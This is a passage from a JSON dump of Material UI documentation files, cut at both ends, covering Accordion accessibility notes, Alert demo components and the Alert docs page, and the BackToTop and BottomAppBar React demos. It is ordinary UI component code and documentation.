malesuada\n    lacus ex, sit amet blandit leo lobortis eget.\n  </AccordionDetails>\n</Accordion>\n```\n\n## Performance\n\nThe Accordion content is mounted by default even if it's not expanded.\nThis default behavior has server-side rendering and SEO in mind.\n\nIf you render the Accordion Details with a big component tree nested inside, or if you have many Accordions, you may want to change this behavior by setting `unmountOnExit` to `true` inside the `slotProps.transition` prop to improve performance:\n\n```jsx\n<Accordion slotProps={{ transition: { unmountOnExit: true } }} />\n```\n\n## Accessibility\n\nThe [WAI-ARIA guidelines for accordions](https://www.w3.org/WAI/ARIA/apg/patterns/accordion/) recommend setting an `id` and `aria-controls`, which in this case would apply to the Accordion Summary component.\nThe Accordion component then derives the necessary `aria-labelledby` and `id` from its content.\n\n```jsx\n<Accordion>\n  <AccordionSummary id=\"panel-header\" aria-controls=\"panel-content\">\n    Header\n  </AccordionSummary>\n  <AccordionDetails>\n    Lorem ipsum dolor sit amet, consectetur adipiscing elit.\n  </AccordionDetails>\n</Accordion>\n```\n\n## Anatomy\n\nThe Accordion component consists of a root `<div>` that contains the Accordion Summary, Accordion Details, and optional Accordion Actions for action buttons.\n\n```jsx\n<div class=\"MuiAccordion-root\">\n  <h3 class=\"MuiAccordion-heading\">\n    <button class=\"MuiButtonBase-root MuiAccordionSummary-root\" aria-expanded=\"\">\n      <!-- Accordion summary goes here -->\n    </button>\n  </h3>\n  <div class=\"MuiAccordion-region\" role=\"region\">\n    <div class=\"MuiAccordionDetails-root\">\n      <!-- Accordion content goes here -->\n    </div>\n  </div>\n</div>\n```\n"
  },
  {
    "path": "docs/data/material/components/alert/ActionAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function ActionAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"warning\" onClose={() => {}}>\n        This Alert displays the default close icon.\n      </Alert>\n      <Alert\n        severity=\"success\"\n        action={\n          <Button color=\"inherit\" size=\"small\">\n            UNDO\n          </Button>\n        }\n      >\n        This Alert uses a Button component for its action.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/ActionAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport Button from '@mui/material/Button';\nimport Stack from '@mui/material/Stack';\n\nexport default function ActionAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"warning\" onClose={() => {}}>\n        This Alert displays the default close icon.\n      </Alert>\n      <Alert\n        severity=\"success\"\n        action={\n          <Button color=\"inherit\" size=\"small\">\n            UNDO\n          </Button>\n        }\n      >\n        This Alert uses a Button component for its action.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/ActionAlerts.tsx.preview",
    "content": "<Alert severity=\"warning\" onClose={() => {}}>\n  This Alert displays the default close icon.\n</Alert>\n<Alert\n  severity=\"success\"\n  action={\n    <Button color=\"inherit\" size=\"small\">\n      UNDO\n    </Button>\n  }\n>\n  This Alert uses a Button component for its action.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/BasicAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"success\">This is a success Alert.</Alert>\n      <Alert severity=\"info\">This is an info Alert.</Alert>\n      <Alert severity=\"warning\">This is a warning Alert.</Alert>\n      <Alert severity=\"error\">This is an error Alert.</Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/BasicAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function BasicAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"success\">This is a success Alert.</Alert>\n      <Alert severity=\"info\">This is an info Alert.</Alert>\n      <Alert severity=\"warning\">This is a warning Alert.</Alert>\n      <Alert severity=\"error\">This is an error Alert.</Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/BasicAlerts.tsx.preview",
    "content": "<Alert severity=\"success\">This is a success Alert.</Alert>\n<Alert severity=\"info\">This is an info Alert.</Alert>\n<Alert severity=\"warning\">This is a warning Alert.</Alert>\n<Alert severity=\"error\">This is an error Alert.</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/ColorAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\n\nexport default function ColorAlerts() {\n  return (\n    <Alert severity=\"success\" color=\"warning\">\n      This is a success Alert with warning colors.\n    </Alert>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/ColorAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\n\nexport default function ColorAlerts() {\n  return (\n    <Alert severity=\"success\" color=\"warning\">\n      This is a success Alert with warning colors.\n    </Alert>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/ColorAlerts.tsx.preview",
    "content": "<Alert severity=\"success\" color=\"warning\">\n  This is a success Alert with warning colors.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/DescriptionAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\nimport AlertTitle from '@mui/material/AlertTitle';\nimport Stack from '@mui/material/Stack';\n\nexport default function DescriptionAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"success\">\n        <AlertTitle>Success</AlertTitle>\n        This is a success Alert with an encouraging title.\n      </Alert>\n      <Alert severity=\"info\">\n        <AlertTitle>Info</AlertTitle>\n        This is an info Alert with an informative title.\n      </Alert>\n      <Alert severity=\"warning\">\n        <AlertTitle>Warning</AlertTitle>\n        This is a warning Alert with a cautious title.\n      </Alert>\n      <Alert severity=\"error\">\n        <AlertTitle>Error</AlertTitle>\n        This is an error Alert with a scary title.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/DescriptionAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport AlertTitle from '@mui/material/AlertTitle';\nimport Stack from '@mui/material/Stack';\n\nexport default function DescriptionAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert severity=\"success\">\n        <AlertTitle>Success</AlertTitle>\n        This is a success Alert with an encouraging title.\n      </Alert>\n      <Alert severity=\"info\">\n        <AlertTitle>Info</AlertTitle>\n        This is an info Alert with an informative title.\n      </Alert>\n      <Alert severity=\"warning\">\n        <AlertTitle>Warning</AlertTitle>\n        This is a warning Alert with a cautious title.\n      </Alert>\n      <Alert severity=\"error\">\n        <AlertTitle>Error</AlertTitle>\n        This is an error Alert with a scary title.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/DescriptionAlerts.tsx.preview",
    "content": "<Alert severity=\"success\">\n  <AlertTitle>Success</AlertTitle>\n  This is a success Alert with an encouraging title.\n</Alert>\n<Alert severity=\"info\">\n  <AlertTitle>Info</AlertTitle>\n  This is an info Alert with an informative title.\n</Alert>\n<Alert severity=\"warning\">\n  <AlertTitle>Warning</AlertTitle>\n  This is a warning Alert with a cautious title.\n</Alert>\n<Alert severity=\"error\">\n  <AlertTitle>Error</AlertTitle>\n  This is an error Alert with a scary title.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/FilledAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function FilledAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert variant=\"filled\" severity=\"success\">\n        This is a filled success Alert.\n      </Alert>\n      <Alert variant=\"filled\" severity=\"info\">\n        This is a filled info Alert.\n      </Alert>\n      <Alert variant=\"filled\" severity=\"warning\">\n        This is a filled warning Alert.\n      </Alert>\n      <Alert variant=\"filled\" severity=\"error\">\n        This is a filled error Alert.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/FilledAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function FilledAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert variant=\"filled\" severity=\"success\">\n        This is a filled success Alert.\n      </Alert>\n      <Alert variant=\"filled\" severity=\"info\">\n        This is a filled info Alert.\n      </Alert>\n      <Alert variant=\"filled\" severity=\"warning\">\n        This is a filled warning Alert.\n      </Alert>\n      <Alert variant=\"filled\" severity=\"error\">\n        This is a filled error Alert.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/FilledAlerts.tsx.preview",
    "content": "<Alert variant=\"filled\" severity=\"success\">\n  This is a filled success Alert.\n</Alert>\n<Alert variant=\"filled\" severity=\"info\">\n  This is a filled info Alert.\n</Alert>\n<Alert variant=\"filled\" severity=\"warning\">\n  This is a filled warning Alert.\n</Alert>\n<Alert variant=\"filled\" severity=\"error\">\n  This is a filled error Alert.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/IconAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\nimport CheckIcon from '@mui/icons-material/Check';\nimport CheckCircleOutlineIcon from '@mui/icons-material/CheckCircleOutline';\nimport Stack from '@mui/material/Stack';\n\nexport default function IconAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert icon={<CheckIcon fontSize=\"inherit\" />} severity=\"success\">\n        This success Alert has a custom icon.\n      </Alert>\n      <Alert icon={false} severity=\"success\">\n        This success Alert has no icon.\n      </Alert>\n      <Alert\n        iconMapping={{\n          success: <CheckCircleOutlineIcon fontSize=\"inherit\" />,\n        }}\n      >\n        This success Alert uses `iconMapping` to override the default icon.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/IconAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport CheckIcon from '@mui/icons-material/Check';\nimport CheckCircleOutlineIcon from '@mui/icons-material/CheckCircleOutline';\nimport Stack from '@mui/material/Stack';\n\nexport default function IconAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert icon={<CheckIcon fontSize=\"inherit\" />} severity=\"success\">\n        This success Alert has a custom icon.\n      </Alert>\n      <Alert icon={false} severity=\"success\">\n        This success Alert has no icon.\n      </Alert>\n      <Alert\n        iconMapping={{\n          success: <CheckCircleOutlineIcon fontSize=\"inherit\" />,\n        }}\n      >\n        This success Alert uses `iconMapping` to override the default icon.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/IconAlerts.tsx.preview",
    "content": "<Alert icon={<CheckIcon fontSize=\"inherit\" />} severity=\"success\">\n  This success Alert has a custom icon.\n</Alert>\n<Alert icon={false} severity=\"success\">\n  This success Alert has no icon.\n</Alert>\n<Alert\n  iconMapping={{\n    success: <CheckCircleOutlineIcon fontSize=\"inherit\" />,\n  }}\n>\n  This success Alert uses `iconMapping` to override the default icon.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/OutlinedAlerts.js",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function OutlinedAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert variant=\"outlined\" severity=\"success\">\n        This is an outlined success Alert.\n      </Alert>\n      <Alert variant=\"outlined\" severity=\"info\">\n        This is an outlined info Alert.\n      </Alert>\n      <Alert variant=\"outlined\" severity=\"warning\">\n        This is an outlined warning Alert.\n      </Alert>\n      <Alert variant=\"outlined\" severity=\"error\">\n        This is an outlined error Alert.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/OutlinedAlerts.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport Stack from '@mui/material/Stack';\n\nexport default function OutlinedAlerts() {\n  return (\n    <Stack sx={{ width: '100%' }} spacing={2}>\n      <Alert variant=\"outlined\" severity=\"success\">\n        This is an outlined success Alert.\n      </Alert>\n      <Alert variant=\"outlined\" severity=\"info\">\n        This is an outlined info Alert.\n      </Alert>\n      <Alert variant=\"outlined\" severity=\"warning\">\n        This is an outlined warning Alert.\n      </Alert>\n      <Alert variant=\"outlined\" severity=\"error\">\n        This is an outlined error Alert.\n      </Alert>\n    </Stack>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/OutlinedAlerts.tsx.preview",
    "content": "<Alert variant=\"outlined\" severity=\"success\">\n  This is an outlined success Alert.\n</Alert>\n<Alert variant=\"outlined\" severity=\"info\">\n  This is an outlined info Alert.\n</Alert>\n<Alert variant=\"outlined\" severity=\"warning\">\n  This is an outlined warning Alert.\n</Alert>\n<Alert variant=\"outlined\" severity=\"error\">\n  This is an outlined error Alert.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/SimpleAlert.js",
    "content": "import Alert from '@mui/material/Alert';\nimport CheckIcon from '@mui/icons-material/Check';\n\nexport default function SimpleAlert() {\n  return (\n    <Alert icon={<CheckIcon fontSize=\"inherit\" />} severity=\"success\">\n      Here is a gentle confirmation that your action was successful.\n    </Alert>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/SimpleAlert.tsx",
    "content": "import Alert from '@mui/material/Alert';\nimport CheckIcon from '@mui/icons-material/Check';\n\nexport default function SimpleAlert() {\n  return (\n    <Alert icon={<CheckIcon fontSize=\"inherit\" />} severity=\"success\">\n      Here is a gentle confirmation that your action was successful.\n    </Alert>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/SimpleAlert.tsx.preview",
    "content": "<Alert icon={<CheckIcon fontSize=\"inherit\" />} severity=\"success\">\n  Here is a gentle confirmation that your action was successful.\n</Alert>"
  },
  {
    "path": "docs/data/material/components/alert/TransitionAlerts.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Alert from '@mui/material/Alert';\nimport IconButton from '@mui/material/IconButton';\nimport Collapse from '@mui/material/Collapse';\nimport Button from '@mui/material/Button';\nimport CloseIcon from '@mui/icons-material/Close';\n\nexport default function TransitionAlerts() {\n  const [open, setOpen] = React.useState(true);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Collapse in={open}>\n        <Alert\n          action={\n            <IconButton\n              aria-label=\"close\"\n              color=\"inherit\"\n              size=\"small\"\n              onClick={() => {\n                setOpen(false);\n              }}\n            >\n              <CloseIcon fontSize=\"inherit\" />\n            </IconButton>\n          }\n          sx={{ mb: 2 }}\n        >\n          Click the close icon to see the Collapse transition in action!\n        </Alert>\n      </Collapse>\n      <Button\n        disabled={open}\n        variant=\"outlined\"\n        onClick={() => {\n          setOpen(true);\n        }}\n      >\n        Re-open\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/TransitionAlerts.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Alert from '@mui/material/Alert';\nimport IconButton from '@mui/material/IconButton';\nimport Collapse from '@mui/material/Collapse';\nimport Button from '@mui/material/Button';\nimport CloseIcon from '@mui/icons-material/Close';\n\nexport default function TransitionAlerts() {\n  const [open, setOpen] = React.useState(true);\n\n  return (\n    <Box sx={{ width: '100%' }}>\n      <Collapse in={open}>\n        <Alert\n          action={\n            <IconButton\n              aria-label=\"close\"\n              color=\"inherit\"\n              size=\"small\"\n              onClick={() => {\n                setOpen(false);\n              }}\n            >\n              <CloseIcon fontSize=\"inherit\" />\n            </IconButton>\n          }\n          sx={{ mb: 2 }}\n        >\n          Click the close icon to see the Collapse transition in action!\n        </Alert>\n      </Collapse>\n      <Button\n        disabled={open}\n        variant=\"outlined\"\n        onClick={() => {\n          setOpen(true);\n        }}\n      >\n        Re-open\n      </Button>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/alert/alert.md",
    "content": "---\nproductId: material-ui\ntitle: React Alert component\ncomponents: Alert, AlertTitle\ngithubLabel: 'scope: alert'\nwaiAria: https://www.w3.org/WAI/ARIA/apg/patterns/alert/\ngithubSource: packages/mui-material/src/Alert\n---\n\n# Alert\n\n<p class=\"description\">Alerts display brief messages for the user without interrupting their use of the app.</p>\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n## Introduction\n\nAlerts give users brief and potentially time-sensitive information in an unobtrusive manner.\n\nThe Material UI Alert component includes several props for quickly customizing its styles to provide immediate visual cues about its contents.\n\n{{\"demo\": \"SimpleAlert.js\"}}\n\n:::info\nThis component is no longer documented in the [Material Design guidelines](https://m2.material.io/), but Material UI will continue to support it.\n:::\n\n### Usage\n\nA key trait of the alert pattern is that [it should not interrupt the user's experience](https://www.w3.org/WAI/ARIA/apg/patterns/alert/) of the app.\nAlerts should not be confused with alert _dialogs_ ([ARIA](https://www.w3.org/WAI/ARIA/apg/patterns/alertdialog/)), which _are_ intended to interrupt the user to obtain a response.\nUse the Material UI Dialog component (see the [alert dialog](/material-ui/react-dialog/#alerts) example) if you need this behavior.\n\n## Basics\n\n```jsx\nimport Alert from '@mui/material/Alert';\n```\n\nThe Alert component wraps around its content, and stretches to fill its enclosing container.\n\n### Severity\n\nThe `severity` prop accepts four values representing different states—`success` (the default), `info`, `warning`, and `error`–with corresponding icon and color combinations for each:\n\n{{\"demo\": \"BasicAlerts.js\"}}\n\n### Variants\n\nThe Alert component comes with two alternative style options—`filled` and `outlined`—which you can set using the `variant` prop.\n\n#### Filled\n\n{{\"demo\": \"FilledAlerts.js\"}}\n\n#### Outlined\n\n{{\"demo\": \"OutlinedAlerts.js\"}}\n\n:::warning\nWhen using an outlined Alert with the [Snackbar](/material-ui/react-snackbar/) component, background content will be visible and bleed through the Alert by default.\nYou can prevent this by adding `bgcolor: 'background.paper'` to [the `sx` prop](/material-ui/customization/how-to-customize/#the-sx-prop) on the Alert component:\n\n```jsx\n<Alert sx={{ bgcolor: 'background.paper' }} />\n```\n\nCheck out the [Snackbar—customization](/material-ui/react-snackbar/#customization) doc for an example of how to use these two components together.\n:::\n\n### Color\n\nUse the `color` prop to override the default color for the specified [`severity`](#severity)—for instance, to apply `warning` colors to a `success` Alert:\n\n{{\"demo\": \"ColorAlerts.js\"}}\n\n### Actions\n\nAdd an action to your Alert with the `action` prop.\nThis lets you insert any element—an HTML tag, an SVG icon, or a React component such as a Material UI Button—after the Alert's message, justified to the right.\n\nIf you provide an `onClose` callback to the Alert without setting the `action` prop, the component will display a close icon (&#x2715;) by default.\n\n{{\"demo\": \"ActionAlerts.js\"}}\n\n### Icons\n\nUse the `icon` prop to override an Alert's icon.\nAs with the [`action`](#actions) prop, your `icon` can be an HTML element, an SVG icon, or a React component.\nSet this prop to `false` to remove the icon altogether.\n\nIf you need to override all instances of an icon for a given [`severity`](#severity), you can use the `iconMapping` prop instead.\nYou can define this prop globally by customizing your app's theme. See [Theme components—Default props](/material-ui/customization/theme-components/#theme-default-props) for details.\n\n{{\"demo\": \"IconAlerts.js\"}}\n\n## Customization\n\n### Titles\n\nTo add a title to an Alert, import the Alert Title component:\n\n```jsx\nimport AlertTitle from '@mui/material/AlertTitle';\n```\n\nYou can nest this component above the message in your Alert for a neatly styled and properly aligned title, as shown below:\n\n{{\"demo\": \"DescriptionAlerts.js\"}}\n\n### Transitions\n\nYou can use [Transition components](/material-ui/transitions/) like [Collapse](/material-ui/transitions/#collapse) to add motion to an Alert's entrance and exit.\n\n{{\"demo\": \"TransitionAlerts.js\"}}\n\n## Accessibility\n\nHere are some factors to consider to ensure that your Alert is accessible:\n\n- Because alerts are not intended to interfere with the use of the app, your Alert component should _never_ affect the keyboard focus.\n- If an alert contains an action, that action must have a `tabindex` of `0` so it can be reached by keyboard-only users.\n- Essential alerts should not disappear automatically—[timed interactions](https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-no-exceptions.html) can make your app inaccessible to users who need extra time to understand or locate the alert.\n- By default, the Alert renders an element with the `role=\"alert\"`, which is the same as using `aria-live=\"assertive\"` and `aria-atomic=\"true\"`. This assumes the message requires the user's immediate attention. Less urgent messages should use a less aggressive method, such as overriding the default role with a `role=\"status\"`. Check this [alert role page](https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/Reference/Roles/alert_role) for more information.\n- Alerts that occur too frequently can [inhibit the usability](https://www.w3.org/TR/UNDERSTANDING-WCAG20/time-limits-postponed.html) of your app.\n- Dynamically rendered alerts are announced by screen readers; alerts that are already present on the page when it loads are _not_ announced.\n- Color does not add meaning to the UI for users who require assistive technology. You must ensure that any information conveyed through color is also denoted in other ways, such as within the text of the alert itself, or with additional hidden text that's read by screen readers.\n\n## Anatomy\n\nThe Alert component is composed of a root [Paper](/material-ui/react-paper/) component (which renders as a `<div>`) that houses an icon, a message, and an optional [action](#actions):\n\n```html\n<div class=\"MuiPaper-root MuiAlert-root\" role=\"alert\">\n  <div class=\"MuiAlert-icon\">\n    <!-- svg icon here -->\n  </div>\n  <div class=\"MuiAlert-message\">This is how an Alert renders in the DOM.</div>\n  <div class=\"MuiAlert-action\">\n    <!-- optional action element here -->\n  </div>\n</div>\n```\n"
  },
  {
    "path": "docs/data/material/components/app-bar/BackToTop.js",
    "content": "import * as React from 'react';\nimport PropTypes from 'prop-types';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Fab from '@mui/material/Fab';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport Fade from '@mui/material/Fade';\n\nfunction ScrollTop(props) {\n  const { children, window } = props;\n  // Note that you normally won't need to set the window ref as useScrollTrigger\n  // will default to window.\n  // This is only being set here because the demo is in an iframe.\n  const trigger = useScrollTrigger({\n    target: window ? window() : undefined,\n    disableHysteresis: true,\n    threshold: 100,\n  });\n\n  const handleClick = (event) => {\n    const anchor = (event.target.ownerDocument || document).querySelector(\n      '#back-to-top-anchor',\n    );\n\n    if (anchor) {\n      anchor.scrollIntoView({\n        block: 'center',\n      });\n    }\n  };\n\n  return (\n    <Fade in={trigger}>\n      <Box\n        onClick={handleClick}\n        role=\"presentation\"\n        sx={{ position: 'fixed', bottom: 16, right: 16 }}\n      >\n        {children}\n      </Box>\n    </Fade>\n  );\n}\n\nScrollTop.propTypes = {\n  children: PropTypes.element,\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window: PropTypes.func,\n};\n\nexport default function BackToTop(props) {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <AppBar>\n        <Toolbar>\n          <Typography variant=\"h6\" component=\"div\">\n            Scroll to see button\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Toolbar id=\"back-to-top-anchor\" />\n      <Container>\n        <Box sx={{ my: 2 }}>\n          {[...new Array(12)]\n            .map(\n              () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n            )\n            .join('\\n')}\n        </Box>\n      </Container>\n      <ScrollTop {...props}>\n        <Fab size=\"small\" aria-label=\"scroll back to top\">\n          <KeyboardArrowUpIcon />\n        </Fab>\n      </ScrollTop>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/BackToTop.tsx",
    "content": "import * as React from 'react';\nimport AppBar from '@mui/material/AppBar';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport useScrollTrigger from '@mui/material/useScrollTrigger';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Fab from '@mui/material/Fab';\nimport KeyboardArrowUpIcon from '@mui/icons-material/KeyboardArrowUp';\nimport Fade from '@mui/material/Fade';\n\ninterface Props {\n  /**\n   * Injected by the documentation to work in an iframe.\n   * You won't need it on your project.\n   */\n  window?: () => Window;\n  children?: React.ReactElement<unknown>;\n}\n\nfunction ScrollTop(props: Props) {\n  const { children, window } = props;\n  // Note that you normally won't need to set the window ref as useScrollTrigger\n  // will default to window.\n  // This is only being set here because the demo is in an iframe.\n  const trigger = useScrollTrigger({\n    target: window ? window() : undefined,\n    disableHysteresis: true,\n    threshold: 100,\n  });\n\n  const handleClick = (event: React.MouseEvent<HTMLDivElement>) => {\n    const anchor = (\n      (event.target as HTMLDivElement).ownerDocument || document\n    ).querySelector('#back-to-top-anchor');\n\n    if (anchor) {\n      anchor.scrollIntoView({\n        block: 'center',\n      });\n    }\n  };\n\n  return (\n    <Fade in={trigger}>\n      <Box\n        onClick={handleClick}\n        role=\"presentation\"\n        sx={{ position: 'fixed', bottom: 16, right: 16 }}\n      >\n        {children}\n      </Box>\n    </Fade>\n  );\n}\n\nexport default function BackToTop(props: Props) {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <AppBar>\n        <Toolbar>\n          <Typography variant=\"h6\" component=\"div\">\n            Scroll to see button\n          </Typography>\n        </Toolbar>\n      </AppBar>\n      <Toolbar id=\"back-to-top-anchor\" />\n      <Container>\n        <Box sx={{ my: 2 }}>\n          {[...new Array(12)]\n            .map(\n              () => `Cras mattis consectetur purus sit amet fermentum.\nCras justo odio, dapibus ac facilisis in, egestas eget quam.\nMorbi leo risus, porta ac consectetur ac, vestibulum at eros.\nPraesent commodo cursus magna, vel scelerisque nisl consectetur et.`,\n            )\n            .join('\\n')}\n        </Box>\n      </Container>\n      <ScrollTop {...props}>\n        <Fab size=\"small\" aria-label=\"scroll back to top\">\n          <KeyboardArrowUpIcon />\n        </Fab>\n      </ScrollTop>\n    </React.Fragment>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/app-bar/BottomAppBar.js",
    "content": "import * as React from 'react';\nimport { styled } from '@mui/material/styles';\nimport AppBar from '@mui/material/AppBar';\nimport Box from '@mui/material/Box';\nimport CssBaseline from '@mui/material/CssBaseline';\nimport Toolbar from '@mui/material/Toolbar';\nimport Typography from '@mui/material/Typography';\nimport IconButton from '@mui/material/IconButton';\nimport Paper from '@mui/material/Paper';\nimport Fab from '@mui/material/Fab';\nimport List from '@mui/material/List';\nimport ListItemButton from '@mui/material/ListItemButton';\nimport ListItemAvatar from '@mui/material/ListItemAvatar';\nimport ListItemText from '@mui/material/ListItemText';\nimport ListSubheader from '@mui/material/ListSubheader';\nimport Avatar from '@mui/material/Avatar';\nimport MenuIcon from '@mui/icons-material/Menu';\nimport AddIcon from '@mui/icons-material/Add';\nimport SearchIcon from '@mui/icons-material/Search';\nimport MoreIcon from '@mui/icons-material/MoreVert';\n\nconst messages = [\n  {\n    id: 1,\n    primary: 'Brunch this week?',\n    secondary: \"I'll be in the neighbourhood this week. Let's grab a bite to eat\",\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    id: 2,\n    primary: 'Birthday Gift',\n    secondary: `Do you have a suggestion for a good present for John on his work\n      anniversary. I am really confused & would love your thoughts on it.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n  {\n    id: 3,\n    primary: 'Recipe to try',\n    secondary: 'I am try out this new BBQ recipe, I think this might be amazing',\n    person: '/static/images/avatar/2.jpg',\n  },\n  {\n    id: 4,\n    primary: 'Yes!',\n    secondary: 'I have the tickets to the ReactConf for this year.',\n    person: '/static/images/avatar/3.jpg',\n  },\n  {\n    id: 5,\n    primary: \"Doctor's Appointment\",\n    secondary: 'My appointment for the doctor was rescheduled for next Saturday.',\n    person: '/static/images/avatar/4.jpg',\n  },\n  {\n    id: 6,\n    primary: 'Discussion',\n    secondary: `Menus that are generated by the bottom app bar (such as a bottom\n      navigation drawer or overflow menu) open as bottom sheets at a higher elevation\n      than the bar.`,\n    person: '/static/images/avatar/5.jpg',\n  },\n  {\n    id: 7,\n    primary: 'Summer BBQ',\n    secondary: `Who wants to have a cookout this weekend? I just got some furniture\n      for my backyard and would love to fire up the grill.`,\n    person: '/static/images/avatar/1.jpg',\n  },\n];\n\nconst StyledFab = styled(Fab)({\n  position: 'absolute',\n  zIndex: 1,\n  top: -30,\n  left: 0,\n  right: 0,\n  margin: '0 auto',\n});\n\nexport default function BottomAppBar() {\n  return (\n    <React.Fragment>\n      <CssBaseline />\n      <Paper square sx={{ pb: '50px' }}>\n        <Typography variant=\"h5\" gutterBottom component=\"div\" sx={{ p: 2, pb: 0 }}>\n          Inbox\n        </Typography>\n        <List sx={{ mb: 2 }}>\n          {messages.map(({ id, primary, secondary, person }) => (\n            <React.Fragment key={id}>\n              {id === 1 && (\n                <ListSubheader sx={{ bgcolor: 'background.paper' }}>\n                  Today\n                </ListSubheader>\n              )}\n              {id === 3 && (\n                <ListSubheader sx={{ bgcolor: 'background.paper' }}>\n                  Yesterday\n                </ListSubheader>\n              )}\n              <ListItemButton>\n                <ListItemAvatar>\n                  <Avatar alt=\"Profile Picture\" src={person} />\n                </ListItemAvatar>\n                <ListItemText primary={primary} secondary={secondary} />\n              </ListItemButton>\n            </React.Fragment>\n          ))}\n        </List>\n      </Paper>\n      <AppBar position=\"fixed\" color=\"primary\" sx={{ top: 'auto', bottom: 0 }}>\n        <Toolbar>\n          <IconButton color=\"inherit\" aria-label=\"open drawer\">\n            <MenuIcon />\n          </IconButton>\n          <StyledFab color=\"secondary\" aria-label=\"add\">\n            <AddIcon />\n          </StyledFab>\n          <Box sx={{ flexGrow: 1 }} />\n          <IconButton color=\"inherit\">\n            <SearchIcon />\n          </IconButton>\n          <IconButton color=\"inherit\">\n            